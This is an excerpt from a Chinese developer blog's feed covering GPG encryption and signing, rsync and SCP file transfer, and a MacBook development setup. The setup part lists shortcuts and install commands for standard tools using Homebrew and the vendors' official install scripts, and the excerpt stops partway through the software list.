用生成的对称密钥加密文件内容，然后用接收方的公钥对该对称密钥进行加密，并将其存储在最终输出文件中。</p><p><strong>解密过程</strong>：先用自己的私钥解密文件中存储的对称密钥。再用解密出的对称密钥解密文件内容。</p><p>所以说可以<strong>直接加密大文件</strong>。如果文件特别大，可以使用 <code>split</code> 先把文件分割，再每块加密。</p><p><strong>加密文件夹</strong>：GPG 不直接支持加密整个文件夹，但您可以先将文件夹压缩，然后加密压缩文件：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">tar -czf folder.tar.gz folder/</span><br><span class="line">gpg --output folder.tar.gz.gpg --encrypt --recipient  &lt;recipient_email&gt; folder.tar.gz</span><br></pre></td></tr></table></figure><p>如果有<strong>多个接收方</strong>，就多个 <code>--recipient  &lt;recipient_email&gt;</code> 即可。他们每人都能解密。</p><h3 id="解密文件">解密文件</h3><p>接收方使用私钥解密加密文件。例如，将 example.txt.gpg 解密为原文件：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">gpg --output example.txt --decrypt example.txt.gpg</span><br></pre></td></tr></table></figure><h2 id="签名">签名</h2><h3 id="嵌入签名文件"><strong>嵌入签名文件</strong></h3><p>发送文件时，可以添加数字签名，以验证发送者身份和文件完整性。签名文件是二进制格式，包含签名和文件内容。<strong>生成一个嵌入签名文件（Attached Signature）</strong>， 签名数据与文件内容绑定在一起，输出的文件既包含原始文件内容，又包含签名。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">gpg --output example.txt.sig --sign example.txt</span><br></pre></td></tr></table></figure><p>验证和分离的方法：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">gpg --output example.txt --decrypt example.txt.sig</span><br></pre></td></tr></table></figure><h3 id="分离签名文件"><strong>分离签名文件</strong></h3><p>签名独立存储在一个单独的 .sig 文件中，原始文件 file.txt 不会被修改。通常用于需要保持原始文件完整性、不想嵌入签名的场景（如软件分发）。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">gpg --output file.sig --detach-sign file.txt</span><br></pre></td></tr></table></figure><p>验证方法：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">gpg --verify file.sig file.txt</span><br></pre></td></tr></table></figure><h3 id="加密并签名文件"><strong>加密并签名文件</strong></h3><p>用自己的私钥签名，对方的公钥加密。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">gpg --output encrypted_signed_file.gpg --encrypt --sign --recipient &lt;recipient_email&gt; file.txt</span><br></pre></td></tr></table></figure><p>解密流程和普通的解密是完全一致的。</p><h3 id="查看文件是否带有签名">查看文件是否带有签名</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">gpg --list-packets file.gpg</span><br></pre></td></tr></table></figure><h2 id="对称加密（无需公钥，简单加密）"><strong>对称加密（无需公钥，简单加密）</strong></h2><p>加密：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">gpg --output example.txt.gpg --symmetric example.txt</span><br></pre></td></tr></table></figure><p>解密</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">gpg --output example.txt --decrypt example.txt.gpg</span><br></pre></td></tr></table></figure><p>在解密时，gpg 会自动检测文件的加密类型。它会查看加密文件的头部信息，其中包含了使用的加密方法（对称或非对称）。这种设计使得 gpg 可以灵活地处理不同类型的加密文件，而无需用户明确指定加密类型。</p>]]>
    </content>
    <id>https://www.blog-blockchain.xyz/dev/crypto-practice/</id>
    <link href="https://www.blog-blockchain.xyz/dev/crypto-practice/"/>
    <published>2024-11-18T09:28:20.000Z</published>
    <summary>全面介绍GPG加密工具的安装配置、密钥管理、文件加密解密、数字签名等核心功能，涵盖跨平台使用指南和对称加密实践，为开发者提供完整的数据安全保护方案。</summary>
    <title>安全加密实践-GPG</title>
    <updated>2026-02-19T16:18:01.166Z</updated>
  </entry>
  <entry>
    <author>
      <name>Michael L</name>
    </author>
    <category term="developer" scheme="https://www.blog-blockchain.xyz/categories/developer/"/>
    <category term="developer" scheme="https://www.blog-blockchain.xyz/tags/developer/"/>
    <content>
      <![CDATA[<h2 id="rsync">rsync</h2><p>rsync 是一个强大的文件同步和传输工具，适用于类 Unix 系统。Windows 用户可以通过 WSL（Windows Subsystem for Linux）来使用 rsync。以下是详细的安装和使用方法：</p><p>Ubuntu/Debian：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> apt update</span><br><span class="line"><span class="built_in">sudo</span> apt install rsync</span><br></pre></td></tr></table></figure><p>CentOS/Fedora：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> yum install rsync</span><br></pre></td></tr></table></figure><p>macOS（使用 Homebrew）：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">brew install rsync</span><br></pre></td></tr></table></figure><p>注意，两台机器都要安装好。</p><p><strong>使用方法</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">rsync [选项] 源目录/ 目标目录</span><br></pre></td></tr></table></figure><ul><li>-a：归档模式，保留所有文件属性</li><li>-v：详细输出</li><li>-z：压缩传输</li><li>-P：显示进度并允许断点续传</li><li>–delete：删除目标目录中源目录没有的文件</li><li>-h：以人类可读的格式显示文件大小</li><li>-e：指定要使用的远程 shell，通常用于指定 SSH 连接参数</li></ul><p>本地同步：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">rsync -avzP /path/to/source/ /path/to/destination/</span><br></pre></td></tr></table></figure><p>远程同步（将本地文件同步到远程服务器）：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">rsync -avzP /path/to/local/ user@remote_host:/path/to/destination/</span><br></pre></td></tr></table></figure><p>远程同步（将远程文件同步到本地）：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">rsync -avzP user@remote_host:/path/to/remote/ /path/to/local/</span><br></pre></td></tr></table></figure><p>使用 SSH 密钥：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">rsync -avzP -e <span class="string">&quot;ssh -i /path/to/private_key -p PORT&quot;</span> /path/to/local/ user@remote_host:/path/to/destination/</span><br></pre></td></tr></table></figure><p>注意：使用 rsync 时，源目录路径后的斜杠 “/” 很重要。如果加上斜杠，rsync 会复制目录中的内容；如果不加斜杠，rsync 会复制整个目录。</p><h2 id="SCP">SCP</h2><p>SCP（Secure Copy Protocol）是一种基于 SSH 协议的文件传输工具，用于在本地主机和远程主机之间安全地复制文件。相比 rsync，SCP 有以下特点：</p><ul><li><strong>简单易用：</strong> SCP 的语法相对简单，适合快速的文件传输操作。</li><li><strong>安全性：</strong> SCP 使用 SSH 协议进行加密传输，确保数据在传输过程中的安全性。</li><li><strong>广泛支持：</strong> 无需在远程主机上安装额外软件，windows 也会自带，不像 rsync 只能在类 unix 系统中使用。</li><li><strong>单次传输：</strong> SCP 主要用于一次性文件传输，<strong>不支持增量同步</strong>。</li></ul><p>相比 rsync 的优缺点：</p><p>SCP 基本用法：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">## 从本地复制到远程</span></span><br><span class="line">scp /path/to/local/file user@remote_host:/path/to/remote/directory</span><br><span class="line"></span><br><span class="line"><span class="comment">## 从远程复制到本地</span></span><br><span class="line">scp user@remote_host:/path/to/remote/file /path/to/local/directory</span><br><span class="line"></span><br><span class="line"><span class="comment">## 复制整个目录（使用 -r 选项）</span></span><br><span class="line">scp -r /path/to/local/directory user@remote_host:/path/to/remote/directory</span><br></pre></td></tr></table></figure><p>总的来说，对于简单的文件传输任务，SCP 是一个不错的选择。但对于需要频繁同步或大量文件传输的场景，rsync 通常是更好的选择。</p><h2 id="加密备份">加密备份</h2><p>以上的备份就足够大部分场景了，本地和远程都是可以的。但是有时候我们需要加密备份，比如说备份在硬盘中的文件，不希望被拾到的人看到内容，就需要加密备份。</p><p>最方便的还是 <a href="https://cryptomator.org/">cryptomator</a> ，能定义一个保险库，然后直接把保险库整个的备份就好。</p><p>随后随便怎么传输。</p>]]>
    </content>
    <id>https://www.blog-blockchain.xyz/dev/backup-practice/</id>
    <link href="https://www.blog-blockchain.xyz/dev/backup-practice/"/>
    <published>2024-11-18T09:26:20.000Z</published>
    <summary>详细介绍了rsync、SCP等文件传输工具的使用方法和实际应用场景，包括本地同步、远程传输、加密备份等最佳实践，帮助开发者选择合适的数据传输和备份解决方案。</summary>
    <title>传输和备份实践</title>
    <updated>2026-02-19T16:18:01.164Z</updated>
  </entry>
  <entry>
    <author>
      <name>Michael L</name>
    </author>
    <category term="developer" scheme="https://www.blog-blockchain.xyz/categories/developer/"/>
    <category term="developer" scheme="https://www.blog-blockchain.xyz/tags/developer/"/>
    <content>
      <![CDATA[<h2 id="为什么我喜欢-MacBook">为什么我喜欢 MacBook</h2><p>最近买了一台 MacBook，使用下来感觉很不错。MacBook 铝制一体化机身，既美观又坚固，硬件质量很可以。最主要是非常省心，合上盖子即可快速休眠，打开盖子能立即恢复工作状态，不会出现无法休眠或休眠后无法唤醒的问题，提供流畅、稳定的使用体验。<br>MacBook 的电池续航能力一直是业界领先，屏幕素质好，高分辨率和准确的色彩，还有应用的UI更加美观。其次是 macOS 基于 Unix，基本能通过命令行管理开发环境和软件安装，对于熟悉的人来说，会比UI更加便捷。MacBook 在众多开源项目使用很普遍，尤其是视频剪辑和写代码，生态还是相当完善的。</p><p>我最近购买了一台 MacBook Pro 14 英寸，配备 M4 Pro 处理器、48GB 内存和 512GB 存储，还买了三年的 AC+。选择这么大的内存是为了确保长期使用（3 年以上）时系统仍能流畅运行。考虑到未来软件可能会更加耗费内存，24GB 可能在几年后显得不够用。我之前 32GB 的MBP一般占用在27GB左右。我主要用于编程和文字处理，不会存储大量视频素材或游戏，因此 512GB 对我来说足够了。另外，我有 1TB 和 512GB 的外置 SSD 可以用于额外存储需求。实在不行，还可以去扩容硬盘到 4TB，但是可能影响系统稳定性。选择 14 英寸而不是 16 英寸是因为我更喜欢便携性，而且公司已经配备了 16 英寸的 MacBook。14 英寸对于日常编码和文字工作来说非常合适。</p><p>然而，MacBook 也存在一些不足之处，需要通过第三方软件来弥补：</p><ul><li><strong>截图功能有限：</strong> 无法进行长截图，需要使用如 CleanShot X 等第三方工具来增强截图功能。</li><li><strong>缺乏高级剪贴板功能：</strong> 系统自带的剪贴板功能较为基础，可以安装 Maccy 等工具来增强剪贴板管理能力。</li><li><strong>软件卸载不彻底：</strong> 有时卸载应用后可能会留下残余文件，可以使用 AppCleaner 等工具来确保彻底卸载。</li><li><strong>NTFS 文件系统支持有限：</strong> macOS 默认无法写入 NTFS 格式的硬盘，可以使用 Mounty 或 Paragon NTFS for Mac 等软件来解决这个问题。</li></ul><blockquote><p>AppCleaner 在清理垃圾时，似乎会删除我的 ssh authorized_key 和git 的配置。</p></blockquote><h3 id="小经验">小经验</h3><p>数据库等服务类，需要大量的配置和依赖裤的软件，建议使用 docker，便捷而且方便做数据隔离。<br>软件的安装推荐优先使用 homebrew，并且卸载也是。</p><h3 id="快捷键">快捷键</h3><p>窗口管理快捷键：</p><ul><li><strong>Command + H:</strong> 隐藏当前应用程序的窗口，对应用无任何影响。</li><li><strong>Command + M:</strong> 最小化当前窗口</li><li><strong>Command + W:</strong> 关闭当前窗口，但是一般不退出程序，而是关闭标签页。</li><li><strong>Command + Q:</strong> 退出当前应用程序</li><li><strong>Command + Tab:</strong> 在打开的应用程序之间切换</li><li><strong>Control + Command + F:</strong> 全屏显示当前窗口（如果应用程序支持）</li><li><strong>Command + `:</strong> 在同一应用程序的多个窗口之间切换</li><li><strong>Mission Control (F3 或 Control + 上箭头):</strong> 查看所有打开的窗口</li><li><strong>Command + Space:</strong> 打开 Spotlight 搜索</li><li>F5: 语音输入。</li><li><strong>Command + Option + D:</strong> 显示或隐藏 Dock。当需要大屏浏览的时候。但是用的不多，这时大多用全屏。</li><li><strong>Command + Option + Esc:</strong> 打开强制退出应用程序窗口</li></ul><p>文件处理：</p><ul><li><strong>Command + Shift + G:</strong> 在 Finder 中前往文件夹</li><li><strong>Command + Shift + N:</strong> 在 Finder 中新建文件夹</li><li><strong>Command + Delete:</strong> 将所选项目移到废纸篓</li><li><strong>Space:</strong> 在 Finder 中使用快速查看预览文件</li><li><strong>复制粘贴是类似的：Command + C，Command + V</strong></li><li><strong>剪贴复制，也就是移动文件：先复制，再 Command + Option + V</strong></li></ul><p>应用</p><ul><li><strong>Command + ,:</strong> 在大多数应用中打开偏好设置。</li><li><strong>Command + N:</strong> 在大多数应用中打开新窗口</li></ul><h3 id="开发软件">开发软件</h3><p>以下是一些常用的开发软件及其简介：</p><ul><li><strong>Oh My Zsh:</strong> Zsh 的配置管理框架，提供了丰富的主题和插件。</li><li><strong>Xcode:</strong> Apple 官方的集成开发环境，用于 iOS、macOS 等应用开发</li><li><strong>Homebrew:</strong> macOS 的包管理器，方便安装和管理各种开发工具</li><li><strong>iTerm2:</strong> 比默认终端更强大的终端模拟器</li><li><strong>Visual Studio Code:</strong> 轻量级但功能强大的代码编辑器</li><li><strong>Git:</strong> 版本控制系统，用于代码管理和协作</li><li><strong>IntelliJ IDEA 和 JetBrains Toolbox:</strong> 强大的集成开发环境，特别适用于 Java 开发，也支持多种其他编程语言</li><li><strong>Node.js:</strong> JavaScript 运行环境，用于前端和后端开发</li><li><strong>Docker Desktop:</strong> 容器化平台，用于应用程序的打包、部署和运行</li><li><strong>VMware Fusion Pro:</strong> 强大的虚拟化软件，允许在 Mac 上运行 Windows 和其他操作系统。现在对个人用户免费提供。(到官网下载)</li><li><strong>nvm (Node Version Manager):</strong> 用于管理多个 Node.js 版本的工具，允许开发者在不同项目中使用不同版本的 Node.js</li></ul><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">## 安装 Oh My Zsh</span></span><br><span class="line">brew install zsh</span><br><span class="line">sh -c <span class="string">&quot;<span class="subst">$(curl -fsSL https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh)</span>&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">## 安装常用插件</span></span><br><span class="line">git <span class="built_in">clone</span> https://github.com/zsh-users/zsh-autosuggestions <span class="variable">$&#123;ZSH_CUSTOM:-~/.oh-my-zsh/custom&#125;</span>/plugins/zsh-autosuggestions</span><br><span class="line">git <span class="built_in">clone</span> https://github.com/zsh-users/zsh-syntax-highlighting.git <span class="variable">$&#123;ZSH_CUSTOM:-~/.oh-my-zsh/custom&#125;</span>/plugins/zsh-syntax-highlighting</span><br><span class="line"></span><br><span class="line"><span class="comment">## 配置 .zshrc 文件</span></span><br><span class="line">sed -i <span class="string">&#x27;&#x27;</span> <span class="string">&#x27;s/plugins=(git)/plugins=(git zsh-autosuggestions zsh-syntax-highlighting)/&#x27;</span> ~/.zshrc</span><br><span class="line"></span><br><span class="line"><span class="comment">## 将 zsh 设置为默认 shell</span></span><br><span class="line">chsh -s $(<span class="built_in">which</span> zsh)</span><br><span class="line"></span><br><span class="line"><span class="comment">## 应用更改</span></span><br><span class="line"><span class="built_in">source</span> ~/.zshrc</span><br><span class="line"></span><br><span class="line"><span class="comment">## Xcode</span></span><br><span class="line">xcode-select --install</span><br><span class="line"></span><br><span class="line"><span class="comment">## Homebrew</span></span><br><span class="line">/bin/bash -c <span class="string">&quot;<span class="subst">$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)</span>&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">## iTerm2</span></span><br><span class="line">brew install --cask iterm2</span><br><span class="line"></span><br><span class="line"><span class="comment">## Visual Studio Code</span></span><br><span class="line">brew install --cask visual-studio-code</span><br><span class="line"></span><br><span class="line"><span class="comment">## Git</span></span><br><span class="line">brew install git</span><br><span class="line"></span><br><span class="line"><span class="comment">## JetBrains Toolbox</span></span><br><span class="line">brew install --cask jetbrains-toolbox</span><br><span class="line">brew install --cask intellij-idea</span><br><span class="line"></span><br><span class="line"><span class="comment">## Node.js</span></span><br><span class="line">brew install node</span><br><span class="line"></span><br><span class="line"><span class="comment">## Docker Desktop</span></span><br><span class="line">brew install --cask docker</span><br><span class="line"></span><br><span class="line"><span class="comment">## nvm，建议使用稳定版</span></span><br><span class="line">curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.40.1/install.sh | bash</span><br><span class="line">nvm install --lts</span><br></pre></td></tr></table></figure><p>不常用，但是我会用到的</p><ul><li><strong>Hexo:</strong> 一个快速、简洁且高效的博客框架，基于 Node.js。Hexo 使用 Markdown（或其他渲染引擎）解析文章，在几秒内，即可利用靓丽的主题生成静态网页。</li><li><strong>Foundry:</strong> 一个用于以太坊智能合约开发、测试和部署的快速、可移植和模块化的工具包。它提供了一套完整的开发环境，包括编译器、测试框架和部署工具，使得智能合约开发更加高效和便捷。</li></ul><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">## hexo 博客</span></span><br><span class="line">npm install -g hexo-cli</span><br><span class="line"><span class="comment">## 安装 Foundry</span></span><br><span class="line">curl -L https://foundry.paradigm.xyz | bash</span><br><span class="line"><span class="built_in">source</span> ~/.zshenv</span><br><span class="line">foundryup</span><br></pre></td></tr></table></figure><h3 id="编程语言">编程语言</h3><ul><li><strong>Python:</strong> 使用 Homebrew 安装最新版本的 Python</li><li><strong>pyenv:</strong> Python 版本管理工具，用于在同一系统上管理多个 Python 版本</li><li><strong>poetry:</strong> Python 依赖管理和打包工具，简化项目依赖管理</li><li><strong>Rust:</strong> 系统级编程语言，注重安全性和并发性</li><li><strong>Go:</strong> Google 开发的编程语言，以简洁、高效和并发支持著称</li><li><strong>OpenJDK:</strong> Java 开发工具包的开源实现，提供了完整的 Java 运行时环境和开发工具</li><li><strong>Maven:</strong> Java 项目管理和构建自动化工具，简化了依赖管理和构建过程</li><li><strong>Gradle:</strong> 基于 Groovy 的构建自动化工具，提供了灵活的项目构建和依赖管理能力</li><li><strong>jenv</strong>：java 版本管理工具，简化了多版本 JDK 的切换和管理，使得开发者可以轻松在不同的项目中使用不同的 JDK 版本，同时提供全局、项目级和本地会话级别的版本配置支持。</li><li></li></ul><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="comment">## Python</span></span><br><span class="line">brew install python</span><br><span class="line"></span><br><span class="line"><span class="comment">## pyenv</span></span><br><span class="line">brew install pyenv</span><br><span class="line"></span><br><span class="line"><span class="built_in">echo</span> <span class="string">&#x27;export PYENV_ROOT=&quot;$HOME/.pyenv&quot;&#x27;</span> &gt;&gt; ~/.zshrc</span><br><span class="line"><span class="built_in">echo</span> <span class="string">&#x27;[[ -d $PYENV_ROOT/bin ]] &amp;&amp; export PATH=&quot;$PYENV_ROOT/bin:$PATH&quot;&#x27;</span> &gt;&gt; ~/.zshrc</span><br><span class="line"><span class="built_in">echo</span> <span class="string">&#x27;eval &quot;$(pyenv init -)&quot;&#x27;</span> &gt;&gt; ~/.zshrc</span><br><span class="line"></span><br><span class="line"><span class="comment">## poetry</span></span><br><span class="line">curl -sSL https://install.python-poetry.org | python3 -</span><br><span class="line"></span><br><span class="line"><span class="comment">## Rust</span></span><br><span class="line">curl --proto <span class="string">&#x27;=https&#x27;</span> --tlsv1.2 -sSf https://sh.rustup.rs | sh</span><br><span class="line"></span><br><span class="line"><span class="comment">## Go</span></span><br><span class="line">brew install go</span><br><span class="line"></span><br><span class="line"><span class="comment">## 安装OpenJDK</span></span><br><span class="line">brew install openjdk</span><br><span class="line">brew install maven</span><br><span class="line">brew install gradle</span><br><span class="line"></span><br><span class="line"><span class="comment">## jenv 的存在，不要设置 javahome</span></span><br><span class="line">brew install jenv</span><br><span class="line"><span class="built_in">echo</span> -e <span class="string">&#x27;\nexport PATH=&quot;$HOME/.jenv/bin:$PATH&quot;\neval &quot;$(jenv init -)&quot;&#x27;</span> &gt;&gt; ~/.zshrc &amp;&amp; <span class="built_in">source</span> ~/.zshrc</span><br><span class="line"></span><br><span class="line"><span class="comment">## dotnet</span></span><br><span class="line">brew install --cask dotnet-sdk</span><br></pre></td></tr></table></figure><h3 id="通讯和办公软件">通讯和办公软件</h3><p>以下是一些常用的通讯和办公软件及其简介：</p><ul><li><strong>QQ:</strong> 腾讯开发的即时通讯软件，广泛用于中国大陆地区</li><li><strong>微信:</strong> 另一款腾讯开发的流行即时通讯应用，支持语音、视频通话和支付功能</li><li><strong>腾讯会议:</strong> 腾讯开发的视频会议软件，提供高清视频会议、屏幕共享和协作功能，适用于企业和个人用户</li><li><strong>Zoom:</strong> 流行的视频会议和在线协作平台，提供高质量视频通话、虚拟背景和会议录制等功能，广泛用于远程工作和在线教育</li><li><strong>Telegram:</strong> 注重隐私和安全的即时通讯应用，支持端到端加密</li><li><strong>ChatGPT:</strong> OpenAI 开发的 AI 聊天机器人官方客户端，用于智能对话和信息查询</li><li><strong>Microsoft Word:</strong> 微软开发的文字处理软件，用于创建和编辑文档</li><li><strong>Microsoft Excel:</strong> 电子表格软件，用于数据分析、计算和图表制作</li><li><strong>Microsoft PowerPoint:</strong> 演示文稿制作软件，用于创建幻灯片和演示</li><li><strong>Microsoft Outlook:</strong> 电子邮件客户端和个人信息管理器</li><li><strong>OneDrive:</strong> 微软的云存储服务，用于文件同步和共享</li><li><strong>有道词典:</strong> 网易开发的英汉互译词典软件，支持多种语言翻译和学习功能</li><li><strong>滴答清单:</strong> 一款跨平台的任务管理和待办事项应用，帮助用户提高工作效率</li><li><strong>Maccy:</strong> 一款轻量级的剪贴板管理工具，可以保存剪贴板历史记录，并提供快速访问和搜索功能。它支持文本、图片和文件，能大大提高工作效率。</li><li><strong>Notion:</strong> 一款功能强大的协作笔记和项目管理工具，提供灵活的页面结构、数据库功能和丰富的模板，适用于个人和团队使用。</li><li><strong>Typora:</strong> 一款简洁优雅的 Markdown 编辑器，提供实时预览功能，支持多种主题和导出格式，非常适合写作和文档编辑。</li><li><strong>IINA:</strong> 一款现代化的开源视频播放器，专为 macOS 设计。它支持多种视频格式，界面美观，功能强大，包括硬件解码、自定义快捷键、在线字幕下载等特性。</li><li><strong>Adobe Acrobat Reader:</strong> 这是一款免费的 PDF 查看器和阅读器。它允许用户打开、查看、注释和打印 PDF 文件。它是处理 PDF 文档的标准工具，特别适合那些需要阅读或处理大量 PDF 文件的用户。</li><li><strong>Google Chrome:</strong> 这是一款由 Google 开发的快速、安全且易用的网络浏览器。</li><li><strong>Bartender 5:</strong> 这是一款强大的菜单栏管理工具，可以帮助用户整理和隐藏 Mac 菜单栏上的图标。它提供了自定义排序、隐藏不常用图标、创建快捷键等功能，使菜单栏更加整洁和高效。</li><li><strong>CleanShot X:</strong> 一款功能强大的屏幕捕捉和录制工具，专为 macOS 设计。它提供了丰富的编辑功能、云存储集成、滚动截图等高级特性，是截图和屏幕录制的理想选择。</li><li><strong>SF Symbols:</strong> 一款由 Apple 开发的符号和图标库，为 iOS、macOS、tvOS 和 watchOS 应用程序设计提供了一致的、可扩展的符号集。可以用来绘图。</li><li><strong>mos:</strong> 一款用于平滑鼠标滚动的工具，可以让非 Apple 鼠标在 macOS 上获得更流畅的滚动体验。它允许用户自定义滚动速度、方向和加速度，提高使用舒适度。</li><li><strong>Mounty:</strong> 一款免费的工具，允许 macOS 读写 NTFS 格式的外部驱动器。它能够临时挂载 NTFS 分区为读写模式，使用户能够在 Mac 上轻松地对 NTFS 格式的硬盘进行读写操作，无需重新格式化或使用付费软件。</li></ul><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">## QQ</span></span><br><span class="line">brew install --cask qq</span><br><span class="line"></span><br><span class="line"><span class="comment">## 微信</span></span><br><span class="line">brew install --cask wechat</span><br><span class="line"></span><br><span class="line"><span class="comment">## 腾讯会议</span></span><br><span class="line">brew install --cask tencent-meeting</span><br><span class="line"></span><br><span class="line"><span class="comment">## Zoom</span></span><br><span class="line">brew install --cask zoom</span><br><span class="line"></span><br><span class="line"><span class="comment">## Telegram</span></span><br><span class="line">brew install --cask telegram</span><br><span class="line"></span><br><span class="line"><span class="comment">## ChatGPT (官方客户端）</span></span><br><span class="line">brew install --cask chatgpt</span><br><span class="line"></span><br><span class="line"><span class="comment">## 安装 Microsoft Word</span></span><br><span class="line">brew install --cask microsoft-word</span><br><span class="line"></span><br><span class="line"><span class="comment">## 安装 Microsoft Excel</span></span><br><span class="line">brew install --cask microsoft-excel</span><br><span class="line"></span><br><span class="line"><span class="comment">## 安装 Microsoft PowerPoint</span></span><br><span class="line">brew install --cask microsoft-powerpoint</span><br><span class="line"></span><br><span class="line"><span class="comment">## 安装 Microsoft Outlook</span></span><br><span class="line">brew install --cask microsoft-outlook</span><br><span class="line"></span><br><span class="line"><span class="comment">## 安装 OneDrive（云存储服务）</span></span><br><span class="line">brew install --cask onedrive</span><br><span class="line"></span><br><span class="line"><span class="comment">## 安装有道词典</span></span><br><span class="line">brew install --cask youdaodict</span><br><span class="line"></span><br><span class="line"><span class="comment">## 安装滴答清单</span></span><br><span class="line">brew install --cask ticktick</span><br><span class="line"></span><br><span class="line"><span class="comment">## 剪贴板管理</span></span><br><span class="line">brew install maccy</span><br><span class="line"></span><br><span class="line"><span class="comment">## 安装 Notion</span></span><br><span class="line">brew install --cask notion</span><br><span class="line"></span><br><span class="line"><span class="comment">## 安装 Typora</span></span><br><span class="line">brew install --cask typora</span><br><span 